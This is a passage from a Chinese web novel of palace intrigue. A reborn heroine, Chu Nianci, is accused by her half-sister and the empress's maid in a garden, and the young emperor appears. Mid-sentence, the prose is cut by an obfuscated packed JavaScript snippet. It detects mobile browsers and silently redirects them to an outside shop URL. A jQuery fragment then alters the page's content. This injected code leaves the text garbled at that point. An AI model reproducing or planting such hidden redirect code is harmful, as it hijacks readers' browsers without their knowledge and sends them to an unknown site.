“点茶是御前或主位娘娘身边的大宫女才需学的,”夏冬姑姑耷拉着眼皮,声音平淡,“分明是在此躲懒。”
说着,她上前一步,瞥了眼茶汤,撇撇嘴:“况且这手艺粗陋,怎配到御前伺候?”
岚姑姑这时候也看出来。
这二人是专程来找茬的。
虽不知她们之间具体恩怨,但想到楚念辞若真被罚,自己也难免受牵连,便咬牙恭声道:“夏姑姑,楚选侍不是普通宫女,她蒙陛下与娘娘恩典封为官女子,我见她学得认真,想着日后或有机会到御前或主位娘娘宫里当差,这才教了点茶。”
夏冬姑姑是认得岚姑姑的。
这位在太妃宫里就以严厉出名,有时甚至比自己还苛刻。
难得听她这般替人说话,不由抬眼细看了看楚念辞……容貌明艳,举止娴雅,最难的是通身那股端庄沉静的气韵,心下不由一惊。
这般品貌,若真的让她上位,皇后娘娘怕是逊色……绝不能让她有露脸的机会。
但她知道岚姑姑是从老太妃身边出来的,到底得给几分面子,不好直接反驳,只阴沉着脸扫了楚舜卿一眼。
楚舜卿立刻会意,急声道:“岚姑姑您别被她骗了,我这姐姐最会装模作样,人前一副端庄样子,背地里不知多龌龊,我就是被她骗了,才向皇后娘娘求恩典让她进宫,谁知她恩将仇报,竟怂恿舅父大闹婚宴,害我在府中颜面尽失,更让夫君与我离心,您说,这般恶毒之人,是不是只配送到辛者库去?”
岚姑姑闻言,目光唰地落在楚念辞身上,团圆气得脸通红,可因为被岚姑姑教导了几日规矩,又不敢轻易插口。
几个小宫女,面面相觑,没想到她进宫前,是这般背景,脸上露出不可思议的表情。
见庶妹当众撕破脸皮,楚念辞也不留情面了。
“楚舜卿,原念在姐妹情分给你留三分颜面,既然你不要脸,我也不必客气了。”
她冷冷地嗤笑,“你说的是你自己吧!”
“明知我正备嫁,却偷偷追着我未婚夫南下,见自己挣不来正妻之位,便想出‘兼祧两房’这等荒唐主意,说什么‘用功劳送我进宫’,不过是想夺我的正妻之位,如今我应召入宫,你瞧事情办砸了,倒想全推到我头上。”
“你闭嘴……”楚舜卿脸色由黑转红,突然扬手就朝她脸上扇去……
团圆早防着她,猛地侧身一挡。
那一巴掌结结实实落在了团圆脸上,白嫩的颊边顿时肿起一道鲜红掌印。
团圆顿时捂着脸,委屈巴巴。
岚姑姑见状,杏眼微眯,径直走到团圆面前,抬起她下巴细看了看,语气平静无波:“宫女虽身份低微,可既入了宫,便是陛下的女人,损毁圣上女人容颜,你说,该当何罪?”
楚舜卿前世今生,都是皇后特招入宫,有皇后的撑腰,根本没有认真研习宫规。
这巴掌打得实在不妥,处罚宫人,只有嫔妃或掌事姑姑才有这个权利。
楚舜卿闻言笑容一僵,想辩解几句,终究没敢开口,只讪讪低下头。
夏冬姑姑气得嘴角微抽,见她这般无用,只好自己出手了:“岚姑姑说得在理,宫中冲突,犯了禁,便不是你我私自处置的。”
她扬声道,“来人,将涉事三人统统带到掖庭司去!”
身后几个粗壮嬷嬷立刻挽袖上前。
楚舜卿吓傻了,“扑通”跪地磕头不迭:“饶命,是、是我一时气愤……”
楚念辞却面不改色,既不认罪也不辩解,只静静地立着。
团圆死死抱着她的手臂,浑身发抖,却一步不退。
岚姑姑冷眼瞧着这场闹剧,也想上前阻止,无奈位卑言轻。
几个嬷嬷上前拉扯半天,竟没能把两人分开。
那粗壮的嬷嬷急了,伸手就要去揪团圆耳朵。
“住手!”楚念辞厉声道,还真把那些婆子吓得住了手。
她心想大不了闹个鱼死网破,也比被她们带走强。
看夏冬这架势,定是背着皇后过来。
否则也不会先让庶妹出头发难。
这自己做主想要给主子分忧,办成未必受嘉奖,若是办砸了,肯定于她不利。
她暗暗戒备,正准备用戒指上的金针伺候这些欺软怕硬的东西……
眼角余光却瞥见远处冬青树后,敬喜正恭敬地引着一位身着明黄服饰的少年转进花园中来。
她心头一震,能让敬喜这般低头弯腰的……会不会是,高高在上的那人?
电光石火间,她顺势跪倒在地,目光却紧锁那抹明黄衣角。
夏冬姑姑与众婆子,因为背对那处,并未看到有人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989485|193684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过来,见楚念辞突然跪倒,也没多想,上前按住,当即就准备把人拖走。
“你们在做什么?”
敬喜一声厉喝陡然响起:“作死的东西,圣驾在此,还不跪迎。”
夏冬刚准备将人拖走了事,背后却猛然传来一声怒喝。
她回头一看,顿时两腿发软……陛下怎么会来这里?
但她到底是皇后身边的大宫女,临机应变的能力还是有的,她深吸一口气,整肃衣衫,恭恭敬敬伏地叩首。
众婆子见状吓得魂飞魄散,扑通扑通跪了一地。
转眼间,满院人全矮了半截。
满院寂然,无人敢出声。
唯有风过树梢的细微声响。
楚念辞前世曾远远见过这位皇帝,倒不甚惊慌,团圆却已吓得浑身发抖,紧紧偎在她身边,低着头缩成了一只小鹌鹑。
几息后……
一双纤尘不染的湛青色密绣团龙的靴子停在了她眼前。
楚念辞垂眸望着那双金线绣着龙纹靴子。
心中掠过前世的记忆,明肃帝端木清羽。
她对这位明肃帝……端木清羽的印象还在前世的浮光惊影中。
依稀只记得是个风华绝代的少年。
俊美如玉,气质如仙,可似乎身子骨不大健朗。
后来她困于内宅琐事,未曾多留意朝局,只隐约记得他在位五年后便病逝了。
虽曾遥望过几回,却从未如此近距离地见天颜。
想不到重生一世,竟会在这里遇见年轻的皇帝。
正想着,就见那双靴子朝茶桌走去,太监敬喜连忙用拂尘掸净凳面,又铺上一块雪白狐皮垫子,少年帝王这才缓缓坐下。
恰巧坐在楚念辞正前方。
她悄悄抬眼,目光从靴子上移,落在他搭在膝间的手上。
那双手虚握着,指节分明,白皙匀亭,像是用上好的羊脂玉细细雕琢出来的,指尖还透着淡淡的肉色光泽。
修长有力的手放在龙纹上,像是天下事尽在掌握。
楚念辞忍不住将视线缓缓移至龙袍上。
绣着祥云的龙袍在阳光下流动着细碎的金芒,几缕墨黑长发散在明黄衣料上,发丝光滑如缎,又像山涧的流瀑。
她正看得出神,忽听见敬喜一声轻咳。
楚念辞蓦然惊醒,慌忙低头屏息,再不敢抬眼。